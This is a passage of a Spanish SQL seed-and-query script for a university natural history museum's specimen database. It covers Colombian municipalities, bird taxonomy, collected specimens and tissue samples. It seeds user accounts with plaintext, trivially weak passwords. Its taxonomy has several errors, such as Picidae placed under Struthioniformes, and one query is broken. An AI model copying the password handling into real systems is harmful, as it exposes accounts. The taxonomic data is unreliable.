López'),\n(741,20,'Puerto Rico'),\n(742,20,'Restrepo'),\n(743,20,'San Carlos de Guaroa'),\n(744,20,'San Juan de Arama'),\n(745,20,'San Juanito'),\n(746,20,'San Martín'),\n(747,20,'Uribe'),\n(748,20,'Villavicencio'),\n(749,20,'Vista Hermosa'),\n(750,21,'Albán (San José)'),\n(751,21,'Aldana'),\n(752,21,'Ancuya'),\n(753,21,'Arboleda (Berruecos)'),\n(754,21,'Barbacoas'),\n(755,21,'Belén'),\n(756,21,'Buesaco'),\n(757,21,'Chachaguí'),\n(758,21,'Colón (Génova)'),\n(759,21,'Consaca'),\n(760,21,'Contadero'),\n(761,21,'Cuaspud (Carlosama)'),\n(762,21,'Cumbal'),\n(763,21,'Cumbitara'),\n(764,21,'Córdoba'),\n(765,21,'El Charco'),\n(766,21,'El Peñol'),\n(767,21,'El Rosario'),\n(768,21,'El Tablón de Gómez'),\n(769,21,'El Tambo'),\n(770,21,'Francisco Pizarro'),\n(771,21,'Funes'),\n(772,21,'Guachavés'),\n(773,21,'Guachucal'),\n(774,21,'Guaitarilla'),\n(775,21,'Gualmatán'),\n(776,21,'Iles'),\n(777,21,'Imúes'),\n(778,21,'Ipiales'),\n(779,21,'La Cruz'),\n(780,21,'La Florida'),\n(781,21,'La Llanada'),\n(782,21,'La Tola'),\n(783,21,'La Unión'),\n(784,21,'Leiva'),\n(785,21,'Linares'),\n(786,21,'Magüi (Payán)'),\n(787,21,'Mallama (Piedrancha)'),\n(788,21,'Mosquera'),\n(789,21,'Nariño'),\n(790,21,'Olaya Herrera'),\n(791,21,'Ospina'),\n(792,21,'Policarpa'),\n(793,21,'Potosí'),\n(794,21,'Providencia'),\n(795,21,'Puerres'),\n(796,21,'Pupiales'),\n(797,21,'Ricaurte'),\n(798,21,'Roberto Payán (San José)'),\n(799,21,'Samaniego'),\n(800,21,'San Bernardo'),\n(801,21,'San Juan de Pasto'),\n(802,21,'San Lorenzo'),\n(803,21,'San Pablo'),\n(804,21,'San Pedro de Cartago'),\n(805,21,'Sandoná'),\n(806,21,'Santa Bárbara (Iscuandé)'),\n(807,21,'Sapuyes'),\n(808,21,'Sotomayor (Los Andes)'),\n(809,21,'Taminango'),\n(810,21,'Tangua'),\n(811,21,'Tumaco'),\n(812,21,'Túquerres'),\n(813,21,'Yacuanquer'),\n(814,22,'Arboledas'),\n(815,22,'Bochalema'),\n(816,22,'Bucarasica'),\n(817,22,'Chinácota'),\n(818,22,'Chitagá'),\n(819,22,'Convención'),\n(820,22,'Cucutilla'),\n(821,22,'Cáchira'),\n(822,22,'Cácota'),\n(823,22,'Cúcuta'),\n(824,22,'Durania'),\n(825,22,'El Carmen'),\n(826,22,'El Tarra'),\n(827,22,'El Zulia'),\n(828,22,'Gramalote'),\n(829,22,'Hacarí'),\n(830,22,'Herrán'),\n(831,22,'La Esperanza'),\n(832,22,'La Playa'),\n(833,22,'Labateca'),\n(834,22,'Los Patios'),\n(835,22,'Lourdes'),\n(836,22,'Mutiscua'),\n(837,22,'Ocaña'),\n(838,22,'Pamplona'),\n(839,22,'Pamplonita'),\n(840,22,'Puerto Santander'),\n(841,22,'Ragonvalia'),\n(842,22,'Salazar'),\n(843,22,'San Calixto'),\n(844,22,'San Cayetano'),\n(845,22,'Santiago'),\n(846,22,'Sardinata'),\n(847,22,'Silos'),\n(848,22,'Teorama'),\n(849,22,'Tibú'),\n(850,22,'Toledo'),\n(851,22,'Villa Caro'),\n(852,22,'Villa del Rosario'),\n(853,22,'Ábrego'),\n(854,23,'Colón'),\n(855,23,'Mocoa'),\n(856,23,'Orito'),\n(857,23,'Puerto Asís'),\n(858,23,'Puerto Caicedo'),\n(859,23,'Puerto Guzmán'),\n(860,23,'Puerto Leguízamo'),\n(861,23,'San Francisco'),\n(862,23,'San Miguel'),\n(863,23,'Santiago'),\n(864,23,'Sibundoy'),\n(865,23,'Valle del Guamuez'),\n(866,23,'Villagarzón'),\n(867,24,'Armenia'),\n(868,24,'Buenavista'),\n(869,24,'Calarcá'),\n(870,24,'Circasia'),\n(871,24,'Cordobá'),\n(872,24,'Filandia'),\n(873,24,'Génova'),\n(874,24,'La Tebaida'),\n(875,24,'Montenegro'),\n(876,24,'Pijao'),\n(877,24,'Quimbaya'),\n(878,24,'Salento'),\n(879,25,'Apía'),\n(880,25,'Balboa'),\n(881,25,'Belén de Umbría'),\n(882,25,'Dos Quebradas'),\n(883,25,'Guática'),\n(884,25,'La Celia'),\n(885,25,'La Virginia'),\n(886,25,'Marsella'),\n(887,25,'Mistrató'),\n(888,25,'Pereira'),\n(889,25,'Pueblo Rico'),\n(890,25,'Quinchía'),\n(891,25,'Santa Rosa de Cabal'),\n(892,25,'Santuario'),\n(893,26,'Providencia'),\n(894,27,'Aguada'),\n(895,27,'Albania'),\n(896,27,'Aratoca'),\n(897,27,'Barbosa'),\n(898,27,'Barichara'),\n(899,27,'Barrancabermeja'),\n(900,27,'Betulia'),\n(901,27,'Bolívar'),\n(902,27,'Bucaramanga'),\n(903,27,'Cabrera'),\n(904,27,'California'),\n(905,27,'Capitanejo'),\n(906,27,'Carcasí'),\n(907,27,'Cepita'),\n(908,27,'Cerrito'),\n(909,27,'Charalá'),\n(910,27,'Charta'),\n(911,27,'Chima'),\n(912,27,'Chipatá'),\n(913,27,'Cimitarra'),\n(914,27,'Concepción'),\n(915,27,'Confines'),\n(916,27,'Contratación'),\n(917,27,'Coromoro'),\n(918,27,'Curití'),\n(919,27,'El Carmen'),\n(920,27,'El Guacamayo'),\n(921,27,'El Peñon'),\n(922,27,'El Playón'),\n(923,27,'Encino'),\n(924,27,'Enciso'),\n(925,27,'Floridablanca'),\n(926,27,'Florián'),\n(927,27,'Galán'),\n(928,27,'Girón'),\n(929,27,'Guaca'),\n(930,27,'Guadalupe'),\n(931,27,'Guapota'),\n(932,27,'Guavatá'),\n(933,27,'Guepsa'),\n(934,27,'Gámbita'),\n(935,27,'Hato'),\n(936,27,'Jesús María'),\n(937,27,'Jordán'),\n(938,27,'La Belleza'),\n(939,27,'La Paz'),\n(940,27,'Landázuri'),\n(941,27,'Lebrija'),\n(942,27,'Los Santos'),\n(943,27,'Macaravita'),\n(944,27,'Matanza'),\n(945,27,'Mogotes'),\n(946,27,'Molagavita'),\n(947,27,'Málaga'),\n(948,27,'Ocamonte'),\n(949,27,'Oiba'),\n(950,27,'Onzaga'),\n(951,27,'Palmar'),\n(952,27,'Palmas del Socorro'),\n(953,27,'Pie de Cuesta'),\n(954,27,'Pinchote'),\n(955,27,'Puente Nacional'),\n(956,27,'Puerto Parra'),\n(957,27,'Puerto Wilches'),\n(958,27,'Páramo'),\n(959,27,'Rio Negro'),\n(960,27,'Sabana de Torres'),\n(961,27,'San Andrés'),\n(962,27,'San Benito'),\n(963,27,'San Gíl'),\n(964,27,'San Joaquín'),\n(965,27,'San José de Miranda'),\n(966,27,'San Miguel'),\n(967,27,'San Vicente del Chucurí'),\n(968,27,'Santa Bárbara'),\n(969,27,'Santa Helena del Opón'),\n(970,27,'Simacota'),\n(971,27,'Socorro'),\n(972,27,'Suaita'),\n(973,27,'Sucre'),\n(974,27,'Suratá'),\n(975,27,'Tona'),\n(976,27,'Valle de San José'),\n(977,27,'Vetas'),\n(978,27,'Villanueva'),\n(979,27,'Vélez'),\n(980,27,'Zapatoca'),\n(981,28,'Buenavista'),\n(982,28,'Caimito'),\n(983,28,'Chalán'),\n(984,28,'Colosó (Ricaurte)'),\n(985,28,'Corozal'),\n(986,28,'Coveñas'),\n(987,28,'El Roble'),\n(988,28,'Galeras (Nueva Granada)'),\n(989,28,'Guaranda'),\n(990,28,'La Unión'),\n(991,28,'Los Palmitos'),\n(992,28,'Majagual'),\n(993,28,'Morroa'),\n(994,28,'Ovejas'),\n(995,28,'Palmito'),\n(996,28,'Sampués'),\n(997,28,'San Benito Abad'),\n(998,28,'San Juan de Betulia'),\n(999,28,'San Marcos'),\n(1000,28,'San Onofre'),\n(1001,28,'San Pedro'),\n(1002,28,'Sincelejo'),\n(1003,28,'Sincé'),\n(1004,28,'Sucre'),\n(1005,28,'Tolú'),\n(1006,28,'Tolú Viejo'),\n(1007,29,'Alpujarra'),\n(1008,29,'Alvarado'),\n(1009,29,'Ambalema'),\n(1010,29,'Anzoátegui'),\n(1011,29,'Armero (Guayabal)'),\n(1012,29,'Ataco'),\n(1013,29,'Cajamarca'),\n(1014,29,'Carmen de Apicalá'),\n(1015,29,'Casabianca'),\n(1016,29,'Chaparral'),\n(1017,29,'Coello'),\n(1018,29,'Coyaima'),\n(1019,29,'Cunday'),\n(1020,29,'Dolores'),\n(1021,29,'Espinal'),\n(1022,29,'Falan'),\n(1023,29,'Flandes'),\n(1024,29,'Fresno'),\n(1025,29,'Guamo'),\n(1026,29,'Herveo'),\n(1027,29,'Honda'),\n(1028,29,'Ibagué'),\n(1029,29,'Icononzo'),\n(1030,29,'Lérida'),\n(1031,29,'Líbano'),\n(1032,29,'Mariquita'),\n(1033,29,'Melgar'),\n(1034,29,'Murillo'),\n(1035,29,'Natagaima'),\n(1036,29,'Ortega'),\n(1037,29,'Palocabildo'),\n(1038,29,'Piedras'),\n(1039,29,'Planadas'),\n(1040,29,'Prado'),\n(1041,29,'Purificación'),\n(1042,29,'Rioblanco'),\n(1043,29,'Roncesvalles'),\n(1044,29,'Rovira'),\n(1045,29,'Saldaña'),\n(1046,29,'San Antonio'),\n(1047,29,'San Luis'),\n(1048,29,'Santa Isabel'),\n(1049,29,'Suárez'),\n(1050,29,'Valle de San Juan'),\n(1051,29,'Venadillo'),\n(1052,29,'Villahermosa'),\n(1053,29,'Villarrica'),\n(1054,30,'Alcalá'),\n(1055,30,'Andalucía'),\n(1056,30,'Ansermanuevo'),\n(1057,30,'Argelia'),\n(1058,30,'Bolívar'),\n(1059,30,'Buenaventura'),\n(1060,30,'Buga'),\n(1061,30,'Bugalagrande'),\n(1062,30,'Caicedonia'),\n(1063,30,'Calima (Darién)'),\n(1064,30,'Calí'),\n(1065,30,'Candelaria'),\n(1066,30,'Cartago'),\n(1067,30,'Dagua'),\n(1068,30,'El Cairo'),\n(1069,30,'El Cerrito'),\n(1070,30,'El Dovio'),\n(1071,30,'El Águila'),\n(1072,30,'Florida'),\n(1073,30,'Ginebra'),\n(1074,30,'Guacarí'),\n(1075,30,'Jamundí'),\n(1076,30,'La Cumbre'),\n(1077,30,'La Unión'),\n(1078,30,'La Victoria'),\n(1079,30,'Obando'),\n(1080,30,'Palmira'),\n(1081,30,'Pradera'),\n(1082,30,'Restrepo'),\n(1083,30,'Riofrío'),\n(1084,30,'Roldanillo'),\n(1085,30,'San Pedro'),\n(1086,30,'Sevilla'),\n(1087,30,'Toro'),\n(1088,30,'Trujillo'),\n(1089,30,'Tulúa'),\n(1090,30,'Ulloa'),\n(1091,30,'Versalles'),\n(1092,30,'Vijes'),\n(1093,30,'Yotoco'),\n(1094,30,'Yumbo'),\n(1095,30,'Zarzal'),\n(1096,31,'Carurú'),\n(1097,31,'Mitú'),\n(1098,31,'Taraira'),\n(1099,32,'Cumaribo'),\n(1100,32,'La Primavera'),\n(1101,32,'Puerto Carreño'),\n(1102,32,'Santa Rosalía');\n\n\ninsert into localizacion (lat_grad,lat_min,lat_seg,lon_grad,lon_min,lon_seg,altitud,vereda,cod_mun) values (04,19,21.5, -72,02,30.1, 215, 'alto manacacias',738);\ninsert into localizacion (lat_grad,lat_min,lat_seg,lon_grad,lon_min,lon_seg,altitud,vereda,cod_mun) values (04,04,20.5, -73,34,53.32, 200, 'cocuy-unillanos',748);\ninsert into localizacion (lat_grad,lat_min,lat_seg,lon_grad,lon_min,lon_seg,altitud,vereda,cod_mun) values (04,08,15.8, -73,40,31.63, 200,'vereda el carmen',748);\ninsert into localizacion (lat_grad,lat_min,lat_seg,lon_grad,lon_min,lon_seg,altitud,vereda,cod_mun) values (06,11,14.2, -75,38,27.321,215,'vereda la verde',70);\ninsert into localizacion (lat_grad,lat_min,lat_seg,lon_grad,lon_min,lon_seg,altitud,vereda,cod_mun) values (10,14,12.07, -74,16,36.32,215, 'corregimiento monterrubio',710);\n\n\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('Aves','Ornitologica',' La Colección Ornitológica del Museo de Historia Natural de la Universidad de los llanos.MHNU-O');\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('Peces','Ictiologica',' La Colección Ictiógica del Museo de Historia Natural de la Universidad de los llanos.MHNU-I');\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('Mamiferos','Mustozoologica',' La Colección mastozoológica del Museo de Historia Natural de la Universidad de los llanos.MHNU-M');\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('Reptiles y anfibios','Herpetologia',' La Colección Herpetológica del Museo de Historia Natural de la Universidad de los llanos.MHNU-H');\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('Tejidos','Tejidos',' La Colección de tejidos del Museo de Historia Natural de la Universidad de los llanos.MHNU-T');\ninsert into coleccion (nomb_comun,nomb_cientifico,carac_col) values ('__','Invertebrados',' La Colección de invertebrados del Museo de Historia Natural de la Universidad de los llanos.MHNU-IN');\n\ninsert into usuarios (nomb_usuar,clave,tipo_us) values ('EstebanRamos','nikol','ADMINISTRADOR');\ninsert into usuarios (nomb_usuar,clave,tipo_us) values ('DanielMuñoz','juliana','ADMINISTRADOR');\ninsert into usuarios (nomb_usuar,clave,tipo_us) values ('SebastianLoaiza','sara','INVITADO');\ninsert into usuarios (nomb_usuar,clave,tipo_us) values ('Santiagolozada','natalie','INVITADO');\n\ninsert into clase (nomb_cla,cod_col) values ('aves',1);\n\ninsert into orden values (1,'APODIFORMES',' caracterizadas por el pequeño tamaño de las patas, lo que da nombre al orden',1);\ninsert into orden values (2,'CAPRIMULGIFORMES',' aves nocturnas con gran facilidad para camuflarse durante el día',1);\ninsert into orden values (3,'Struthioniformes','grupo parafilético de aves paleognatas, no voladoras, algunas de ellas ya desaparecidas',1);\ninsert into orden values (4,'Piciformes','las piciformes son insectívoras, aunque los tucanes se alimentan principalmente de frutas,',1);\ninsert into orden values (5,'Casuariiformes','grandes aves corredoras propias de Australia y Nueva Guinea.,',1);\ninsert into orden values (6,'PODICIPEDIFORMES ',' Este orden es integrado por aves acuáticas, a las cuales, entre otros nombres, se les llaman somormujos y zampullines',1);\ninsert into orden values (7,'Passeriformes ',' Orden representado con mayor número de especies en las aves, aquí se agrupan todos los pájaros. ',1);\ninsert into orden values (8,'Pelecaniformes ',' Orden integrado por aves acuáticas, a las cuales, entre otros nombres, se les llaman totipalmados',1);\ninsert into orden values (9,'Strigiformes ',' Orden donde se estudian las aves rapaces nocturnas. Formado por dos familias',1);\n\n\ninsert into familia values (1,'Apodidae',1);\t\ninsert into familia values (2,'Hemiprocnidae',1);\t\ninsert into familia values (3,'Trochilidae',1);\t\ninsert into familia values (4,'Caprimulgidae',2);\ninsert into familia values (5,'Steatornithidae',2);\ninsert into familia values (6,'Struthionidae',3);\ninsert into familia values (7,'Picidae',3);\ninsert into familia values (8,'reidhae',3);\ninsert into familia values (9,'Casuariidae',3);\ninsert into familia values (10,'Picidae',4);\ninsert into familia values (11,'Capitonidae',4);\ninsert into familia values (12,'Casuariidae',5);\ninsert into familia values (13,'Dromaiidae',5);\ninsert into familia values (14,'Podicipedidae',6);\ninsert into familia values (15,'Bombycillidae',7);\ninsert into familia values (16,'Cardinalidae',7);\ninsert into familia values (17,'Anhingidae',8);\ninsert into familia values (18,'Tytonidae',9);\n\n\n\n\ninsert into genero values (1,'Aerodramus',1);\ninsert into genero values (2,'Aeronautes',1);\ninsert into genero values (3,'Nyctiprogne',1);\ninsert into genero values (4,'Amazilia',3);\ninsert into genero values (5,'Lurocalis',4);\ninsert into genero values (6,'Nyctiphrynus',4);\ninsert into genero values (7,'Struthio',6);\ninsert into genero values (8,'Veniliornis',7);\ninsert into genero values (9,'Jynx',10);\ninsert into genero values (10,'Picumnus',10);\ninsert into genero values (11,'Trachyphonus',11);\ninsert into genero values (12,'Gymnobucco',11);\ninsert into genero values (13,'Stactolaema',11);\n\n\n\n\n\n\n\ninsert into especies values (1,'Aerodramus elaphrus',1);\ninsert into especies values (2,'Fimbriata',4);\ninsert into especies values (3,'lactea',4);\ninsert into especies values (4,'Struthio camelus',7);\ninsert into especies values (5,'passerinus',8);\ninsert into especies values (6,'Trachyphonus purpuratus',11);\ninsert into especies values (7,'Trachyphonus vaillantii',11);\ninsert into especies values (8,'Trachyphonus margaritatus',11);\ninsert into especies values (9,'Trachyphonus erythrocephalus',11);\ninsert into especies values (10,'Trachyphonus darnaudii',11);\ninsert into especies values (11,'Gymnobucco calvus',12);\ninsert into especies values (12,'Gymnobucco peli',12);\ninsert into especies values (13,'Gymnobucco sladeni',12);\ninsert into especies values (14,'Stactolaema leucotis',13);\ninsert into especies values (15,'Stactolaema anchietae',13);\ninsert into especies values (16,'Stactolaema whytii',13);\n\n\n\ninsert into subespecie values (1,'Struthio camelus camelus',4);\ninsert into subespecie values (2,'Struthio camelus syriacus',4);\ninsert into subespecie values (3,'Struthio camelus massaicus',4);\ninsert into subespecie values (4,'Stactolaema whytii peli',5);\ninsert into subespecie values (5,'Aerodramus francicus',1);\ninsert into subespecie values (6,'Gymnobucco sladeni alto',6);\ninsert into subespecie values (7,'Stactolaema anchiet',7);\ninsert into subespecie values (8,'Stactolaema anchietae',8);\ninsert into subespecie values (9,'Trachyphonus margaritatus',9);\ninsert into subespecie values (10,'lactea',10);\ninsert into subespecie values (11,'Stactolaema leucotis',11);\ninsert into subespecie values (12,'Stactolaema',2);\ninsert into subespecie values (13,'passerinus',3);\ninsert into subespecie values (14,'Aerodramus',13);\ninsert into subespecie values (15,'nulo',14);\ninsert into subespecie values (16,'Trachyphonus margaritates',15);\n\n\n\n\ninsert into colectores values (1,'A. Contreras','');\ninsert into colectores values (2,'F. Aponte','');\ninsert into colectores values (3,'J.E. Avendaño','');\ninsert into colectores values (4,'J.J. Amaya','');\ninsert into colectores values (5,'K.E. Mendez','');\ninsert into colectores values (6,'R. Valencia','');\ninsert into colectores values (7,'A. L. Diaz','');\ninsert into colectores values (8,'C. Romero','');\ninsert into colectores values (9,'D .Morales','');\n\n\n\n\ninsert into animal_colectado values (01, 5, 4, 1, 'Disponible',\t'captura en red',\t'20110117',\t\t'Veniliornis passerinus',\t\t\t22,\t\t'borde rastrojo bajo'\t, 'Sin ectoparásitos.'\t\t\t, 'M');\nINSERT INTO animal_colectado vALUES (02, 2, 2, 1, 'Disponible', \t'caza', \t\t\t'20140216', \t'Struthio camelus syriacus 2', \t\t21, \t'llanura'\t\t\t\t, 'Con ectoparásitos.'\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (03, 3, 3, 2, 'no Disponible', 'Trampas Sherman', \t'20130315', \t'Águila calzada',\t\t\t\t\t02, \t'montes seccos'\t\t\t, 'Iba con pareja.'\t\t\t\t, 'I');\nINSERT INTO animal_colectado VALUES (04, 1, 2, 2, 'Disponible', \t'Trampas Sherman', \t'20130414', \t'Búho chico', \t\t\t\t\t\t20, \t'PRADERA'\t\t\t\t, 'Sin ectoparásitos.'\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (05, 2, 1, 2, 'no Disponible', 'Redes de Niebla', \t'20120513', \t'Charrán de Forster', \t\t\t\t05, \t'montes seccos'\t\t\t, 'con nematodos preservados'\t, 'H');\nINSERT INTO animal_colectado VALUES (06, 9, 7, 3, 'Disponible', \t'Trampas Tomahawk',\t'20120612', \t'Escribano aureolado',\t\t \t\t34, \t'borde rastrojo bajo'\t, ''\t\t\t\t\t\t\t, 'M');\nINSERT INTO animal_colectado VALUES (07, 1, 7, 3, 'Disponible', \t'Redes de Niebla', \t'20140711', \t'Focha común', \t\t\t\t\t\t36, \t'montes seccos'\t\t\t, 'Sin ectoparásitos.'\t\t\t, 'M');\nINSERT INTO animal_colectado VALUES (08, 9, 14, 3, 'no Disponible', 'captura en red', \t'20140810', \t'Gallineta común', \t\t\t\t\t37, \t'PRADERA'\t\t\t\t, 'Con ectoparásitos.'\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (09, 8, 6, 4, 'Disponible', \t'Trampas Sherman', \t'20130909', \t'Halcón de Eleonora', \t\t\t\t39, \t'borde rastrojo bajo'\t, ''\t\t\t\t\t\t\t, 'I');\nINSERT INTO animal_colectado VALUES (10, 3, 2, 4, 'Disponible', \t'captura en red', \t'20131008', \t'Ibis sagrado', \t\t\t\t\t50, \t'montes seccos'\t\t\t, 'Iba con pareja.'\t\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (11, 9, 8, 4, 'no Disponible', 'Trampas Tomahawk',\t'20111207', \t'Marabú africano', \t\t\t\t\t21, \t'borde rastrojo bajo'\t, 'Sin ectoparásitos.'\t\t\t, 'M');\nINSERT INTO animal_colectado VALUES (12, 5, 5, 5, 'Disponible', \t'Redes de Niebla', \t'20121206', \t'Ostrero euroasiático', \t\t\t22, \t'BOSQUE'\t\t\t\t, ''\t\t\t\t\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (13, 5, 3, 5, 'no Disponible', 'captura en red', \t'20120105', \t'Págalo parásito', \t\t\t\t\t25, \t'montes seccos'\t\t\t, 'con nematodos preservados'\t, 'M');\nINSERT INTO animal_colectado VALUES (14, 4, 2, 5, 'Disponible', \t'Trampas Sherman', \t'20140204', \t'Pagaza piquirroja', \t\t\t\t10, \t'BOSQUE'\t\t\t\t, ''\t\t\t\t\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (15, 7, 1, 1, 'no Disponible', 'captura en red', \t'20100303', \t'Rabijunco etéreo', \t\t\t\t15, \t'PRADERA'\t\t\t\t, 'Sin ectoparásitos.'\t\t\t, 'H');\nINSERT INTO animal_colectado VALUES (16, 2, 9, 2, 'Disponible', \t'Redes de Niebla', \t'20100402', \t'Reinita de Luisiana', \t\t\t\t16, \t'DESIERTO'\t\t\t\t, 'Con ectoparásitos.'\t\t\t, 'M');\nINSERT INTO animal_colectado VALUES (17, 1, 11, 3, 'no Disponible', 'Trampas Tomahawk',\t'20130501', \t'Ruiseñor coliazul', \t\t\t\t13, \t'montes seccos'\t\t\t, 'con nematodos preservados'\t, 'H');\nINSERT INTO animal_colectado VALUES (18, 2, 12, 4, 'Disponible', \t'Trampas Sherman', \t'20110629', \t'Ruiseñor pechiazul', \t\t\t\t12, \t'DESIERTO'\t\t\t\t, 'Sin ectoparásitos.'\t\t\t, 'I');\nINSERT INTO animal_colectado VALUES (19, 8, 16, 5, 'no Disponible', 'captura en red', \t'20140730', \t'Urraca', \t\t\t\t\t\t\t11, \t'REGIÓN POLAR'\t\t\t, 'Iba con pareja.'\t\t\t\t, 'H');\n\n\n\nINSERT INTO ornitologia values ( 1 \t, 1 \t, 'nulo',276, 'oviparo','NULO' ,'vacio'\t\t\t\t, 'Corporal general moderado' \t,'Iris marrón, maxila gris oscuro, mandíbula gris claro borde de pico gris oscuro, tarsos dedos y uñas gris oscuro, suelas color carne','T.I 3,3 mm X 1,5 mm',100);\nINSERT INTO ornitologia VALUES ( 3 \t, 2 \t, 'NULO', 70, 'oviparo', 10, 'Restos de insectos'\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 5 \t, 3 \t, 'NULO',510, 'oviparo', 22, 'Material vegetal'\t\t, 'Muda en el pecho' \t\t\t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 6 \t, 4 \t, 'NULO', 25, 'oviparo', 14, 'huevos'\t\t\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 7 \t, 5 \t, 'NULO',145, 'oviparo', 67, 'Restos de insectos'\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 9 \t, 6 \t, 'NULO',200, 'oviparo', 12, 'huevos'\t\t\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 2 \t, 7 \t, 'nulo',134, 'oviparo', 02, 'USA057'\t\t\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 3 \t, 8 \t, 'NULO', 56, 'oviparo', 12, 'Restos de insectos'\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES ( 1 \t, 9 \t, 'NULO', 70, 'oviparo', 15, 'Material vegetal'\t\t, 'Muda en el pecho' \t\t\t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES (13 \t,10 \t, 'NULO', 98, 'oviparo', 65, 'huevos'\t\t\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\t\nINSERT INTO ornitologia VALUES (14 \t,11 \t, 'NULO',102, 'oviparo', 12, 'Restos de insectos'\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES (15 \t,12 \t, 'NULO',142, 'oviparo', 62, 'USA057'\t\t\t\t, 'Muda en el pecho' \t\t\t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES (19 \t,13 \t, 'NULO',567, 'oviparo', 12, 'Material vegetal'\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES (11 \t,14 \t, 'nulo',023, 'oviparo', 52, 'Restos de insectos'\t, 'Muda en el pecho' \t\t\t, 'los pies', 2, 12);\nINSERT INTO ornitologia VALUES (18 \t,15 \t, 'NULO',123, 'oviparo', 12, 'huevos'\t\t\t\t, 'Corporal general moderado' \t, 'los pies', 2, 12);\n\n\n\n\n\nINSERT INTO tejidos VALUES ( 1, 3, 'Corazon'\t, 'tejido'\t, ''); \nINSERT INTO tejidos Values ( 2, 5, 'adn'\t\t, 'adn'\t\t, '');\nINSERT INTO tejidos VALUES ( 3, 3, 'adn'\t\t, 'adn'\t\t, ''); \nINSERT INTO tejidos Values ( 4, 2, 'carcasa'\t, 'carcasa'\t, '');\nINSERT INTO tejidos VALUES ( 5, 6, 'adn'\t\t, 'adn'\t\t, ''); \nINSERT INTO tejidos Values ( 6, 6, 'Corazon'\t, 'tejido'\t, '');\nINSERT INTO tejidos VALUES ( 7, 1, 'higado'\t\t, 'tejido'\t, ''); \nINSERT INTO tejidos Values ( 8, 2, 'tejido'\t\t, 'tejido'\t, '');\nINSERT INTO tejidos VALUES ( 9, 3, 'huevo'\t\t, 'adn'\t\t, ''); \nINSERT INTO tejidos Values (10, 4, 'Corazon'\t, 'tejido'\t, '');\nINSERT INTO tejidos VALUES (11, 6, 'carcasa'\t, 'carcasa'\t, ''); \nINSERT INTO tejidos Values (12, 1, 'adn'\t\t, 'adn'\t\t, '');\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n###################################\n###################################\n##### ######\n##### CONSULTAS ######\n##### ######\n###################################\n###################################\n###################################\n\nselect concat (lat_grad,'-',lat_min,'-',lat_seg) as latitud,concat (lon_grad,'-',lon_min,'-',lon_seg) as longitud from localizacion;\n\nselect a.nomb_ani,concat (l.lat_grad,'-',l.lat_min,'-',l.lat_seg) as latitud,concat (l.lon_grad,'-',l.lon_min,'-',l.lon_seg) as longitud from localizacion Natural join animal_colectado;\n\nselect nomb_sub as subespecie, nomb_esp as especie,nomb_ani,concat (lat_grad,'-',lat_min,'-',lat_seg) as latitud,concat (lon_grad,'-',lon_min,'-',lon_seg) as longitud from localizacion Natural join animal_colectado natural join subespecie natural join especies;\n\n\nselect nomb_sub as subespecie, nomb_esp as especie,nom_gen as genero, nom_fam as familia, nomb_ ord as orden from localizacion Natural join animal_colectado natural join subespecie natural join especies;\nselect nomb_sub as subespecie, nomb_esp as especie,nomb_gen as genero,nomb_fam as familia ,nomb_ord as orden,nomb_cla as clase from animal_colectado natural join subespecie natural join especies natural join genero natural join familia natural join orden natural join clase;\n\nselect nomb_sub as subespecie, nomb_esp as especies,nomb_gen as genero, nomb_fam as familia ,nomb_ord as orden, nomb_cla as clase,nomb_cientifico as coleccion from subespecie natural join especies natural join genero natural join familia natural join orden natural join clase natural join coleccion;\n\n\n\n#consulticas\nselect concat (s.nomb_sub ,\"-\",e.nomb_esp,\"-\", g.nomb_gen,\"-\", f.nomb_fam,\"-\", o.nomb_ord ,\"-\", c.nomb_cla ,\"-\", co.nomb_cientifico) as todo \nfrom animal_colectado as a inner join subespecie as s inner join especies as e inner join genero as g inner join familia as f inner join \norden as o inner join clase as c inner join coleccion as co where s.cod_sub = a.cod_sub and s.cod_esp = e.cod_esp and e.cod_gen = g.cod_gen\n and g.cod_fam=f.cod_fam and f.cod_ord = o.cod_ord and o.cod_cla = c.cod_cla and c.cod_col = co.cod_col;\n\n\nselect concat (a.cod_ani,\"-\",m.nomb_mun,\"-\",d.nomb_dept,\"-\",p.nomb_pais) as localizacion from animal_colectado as a inner join localizacion as l inner join municipio as m inner join departamento as d inner join pais as p where a.cod_loc = l.cod_loc and l.cod_mun = m.cod_mun and m.cod_dept = d.cod_dept and d.cod_pais = p.cod_pais ;\n\nselect o.gonadas from ornitologia as o where o.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Veniliornis passerinus');\nselect o.gonadas from ornitologia as o where o.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Veniliornis passerinus');\n\n\nselect count(o.cod_ani) as cantidad from ornitologia as o where o.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Veniliornis passerinus');\n\nselect * from ornitologia as o where o.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Veniliornis passerinus');\n\nselect * from ornitologia as o where o.cod_ani=(select cod_ani from animal_colectado where nomb_ani='Struthio camelus syriacus 2');\n\nselect orn.cod_orn ,concat (s.nomb_sub ,\"-\",e.nomb_esp,\"-\", 